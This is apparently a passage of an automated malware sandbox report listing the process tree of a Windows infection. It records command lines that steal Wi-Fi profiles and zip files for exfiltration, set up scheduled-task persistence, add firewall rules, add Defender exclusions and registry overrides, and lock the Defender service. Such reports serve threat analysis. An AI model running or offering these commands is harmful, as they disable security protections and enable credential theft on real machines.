    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2500
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5772 -s 868
    3⤵
    - Program crash
    PID:1384
- C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Checks computer location settings
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4912
  - - C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:684
  - - C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5204
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
      4⤵
      PID:5716
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:4972
- C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe
  "C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1576
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:864
- C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
  "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5284
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1340
- - C:\Users\Admin\AppData\Local\Temp\1000200001\070.exe
    "C:\Users\Admin\AppData\Local\Temp\1000200001\070.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5780
  - - C:\Users\Admin\AppData\Local\Temp\is-49P8I.tmp\is-0782P.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-49P8I.tmp\is-0782P.tmp" /SL4 $13004A "C:\Users\Admin\AppData\Local\Temp\1000200001\070.exe" 3710753 52224
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3404
    - - C:\Users\Admin\AppData\Local\CD-DVD-Runner\cddvdrunner2333.exe
        
        "C:\Users\Admin\AppData\Local\CD-DVD-Runner\cddvdrunner2333.exe" -i
        5⤵
        Executes dropped EXE
        
        PID:1384
    - - C:\Users\Admin\AppData\Local\CD-DVD-Runner\cddvdrunner2333.exe
        
        "C:\Users\Admin\AppData\Local\CD-DVD-Runner\cddvdrunner2333.exe" -s
        5⤵
        Executes dropped EXE
        
        PID:4704
- C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe
  "C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3204
- C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2836
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  PID:2632
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:640
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:3180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\556644402199_Desktop.zip' -CompressionLevel Optimal
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5044
- C:\Users\Admin\AppData\Local\Temp\1000173001\Startup.exe
  "C:\Users\Admin\AppData\Local\Temp\1000173001\Startup.exe"
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe
  "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:712
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3152
  - - C:\Users\Admin\Pictures\SKxhsQFVyRhWLSBZtiZTnXZ4.exe
      "C:\Users\Admin\Pictures\SKxhsQFVyRhWLSBZtiZTnXZ4.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:5056
    - - C:\Users\Admin\AppData\Local\Temp\u3wg.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u3wg.0.exe"
        5⤵
        Executes dropped EXE
        
        PID:1348
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1348 -s 1164
        6⤵
        Program crash
        
        PID:1064
    - - C:\Users\Admin\AppData\Local\Temp\u3wg.3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u3wg.3.exe"
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5172
      - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        6⤵
        
        PID:464
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5056 -s 1456
        5⤵
        Program crash
        
        PID:1420
  - - C:\Users\Admin\Pictures\TQSycEbNXFxSJmFpop9t4XXW.exe
      "C:\Users\Admin\Pictures\TQSycEbNXFxSJmFpop9t4XXW.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2668
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5556
    - - C:\Users\Admin\Pictures\TQSycEbNXFxSJmFpop9t4XXW.exe
        
        "C:\Users\Admin\Pictures\TQSycEbNXFxSJmFpop9t4XXW.exe"
        5⤵
        Executes dropped EXE
        
        PID:4584
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:2176
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:3180
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:2032
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:1628
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:1232
  - - C:\Users\Admin\Pictures\8hasC0wvPdAPkdQFt6QZWlvW.exe
      "C:\Users\Admin\Pictures\8hasC0wvPdAPkdQFt6QZWlvW.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:5528
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6096
    - - C:\Users\Admin\Pictures\8hasC0wvPdAPkdQFt6QZWlvW.exe
        
        "C:\Users\Admin\Pictures\8hasC0wvPdAPkdQFt6QZWlvW.exe"
        5⤵
        Executes dropped EXE
        
        PID:1536
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:5216
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:1344
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:1028
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:5388
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:5108
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        6⤵
        
        PID:3396
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:3496
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5044
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Creates scheduled task(s)
        
        PID:5288
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        7⤵
        
        PID:4820
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:5492
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:3720
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        7⤵
        
        PID:2940
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Creates scheduled task(s)
        
        PID:5000
        
        C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        7⤵
        
        PID:2088
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        
        PID:5184
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        9⤵
        Launches sc.exe
        
        PID:3176
  - - C:\Users\Admin\Pictures\RaQZo7E9Ea07wxDMboQvHfLx.exe
      "C:\Users\Admin\Pictures\RaQZo7E9Ea07wxDMboQvHfLx.exe"
      4⤵
      Modifies firewall policy service
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      Drops file in System32 directory
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:1168
  - - C:\Users\Admin\Pictures\FZyrYyR9Bzg7BMdiDOZd7Jjf.exe
      "C:\Users\Admin\Pictures\FZyrYyR9Bzg7BMdiDOZd7Jjf.exe"
      4⤵
      Executes dropped EXE
      PID:5200
    - - C:\Users\Admin\AppData\Local\Temp\7zS1F0C.tmp\Install.exe
        
        .\Install.exe /nxdidQZJ "385118" /S
        5⤵
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:2860
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:3472
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:5720
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4648
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2528
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 15:39:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\IkoJZaW.exe\" em /ZUsite_idUaY 385118 /S" /V1 /F
        6⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:5460
  - - C:\Users\Admin\Pictures\Pbr6dH6cOOHSOPZoLxkmpTn1.exe
      "C:\Users\Admin\Pictures\Pbr6dH6cOOHSOPZoLxkmpTn1.exe"
      4⤵
      Executes dropped EXE
      PID:368
    - - C:\Users\Admin\AppData\Local\Temp\7zS32A4.tmp\Install.exe
        
        .\Install.exe /nxdidQZJ "385118" /S
        5⤵
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:4012
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:5444
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:4168
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5068
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3696
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 15:39:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\qpWEwUa.exe\" em /Tzsite_idneH 385118 /S" /V1 /F
        6⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:4048
  - - C:\Users\Admin\Pictures\V1Pf1iDyXvGthIsvnbZgpXEi.exe
      "C:\Users\Admin\Pictures\V1Pf1iDyXvGthIsvnbZgpXEi.exe" --silent --allusers=0
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      PID:1652
    - - C:\Users\Admin\Pictures\V1Pf1iDyXvGthIsvnbZgpXEi.exe
        
        C:\Users\Admin\Pictures\V1Pf1iDyXvGthIsvnbZgpXEi.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x298,0x29c,0x2a0,0x274,0x2a4,0x6b74e1d0,0x6b74e1dc,0x6b74e1e8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4508
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\V1Pf1iDyXvGthIsvnbZgpXEi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\V1Pf1iDyXvGthIsvnbZgpXEi.exe" --version
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2700
    - - C:\Users\Admin\Pictures\V1Pf1iDyXvGthIsvnbZgpXEi.exe
        
        "C:\Users\Admin\Pictures\V1Pf1iDyXvGthIsvnbZgpXEi.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1652 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240419153833" --session-guid=1fcc00bc-a6ab-45cc-a5f4-3ce877adb971 --server-tracking-blob="ZDQxZDliM2IzZDI0YmZhN2IxYzg1ZTc1NWIzMzY3ZjQyZThiNjU1MTY5ZjQ5ZGFmOWVjNDg2NmI3ZTI4NmYwMzp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEzNTQxMTAxLjk1NTciLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiNWJhMWYyM2QtZDViYy00MGUxLWFlMGEtOWM1ZGE1Mjc4Yzg1In0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=7003000000000000
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Enumerates connected drives
        
        PID:1156
      - C:\Users\Admin\Pictures\V1Pf1iDyXvGthIsvnbZgpXEi.exe
        
        C:\Users\Admin\Pictures\V1Pf1iDyXvGthIsvnbZgpXEi.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2a4,0x2a8,0x2ac,0x248,0x2b0,0x6aabe1d0,0x6aabe1dc,0x6aabe1e8
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5328
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191538331\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191538331\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
        5⤵
        
        PID:1552
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191538331\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191538331\assistant\assistant_installer.exe" --version
        5⤵
        
        PID:872
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191538331\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191538331\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x3b6038,0x3b6044,0x3b6050
        6⤵
        
        PID:4064
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:5928
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  PID:1352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5772 -ip 5772
1⤵
PID:3620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1348 -ip 1348
1⤵
PID:4784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5056 -ip 5056
1⤵
PID:4932

C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\qpWEwUa.exe
C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\qpWEwUa.exe em /Tzsite_idneH 385118 /S
1⤵
PID:2712
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD 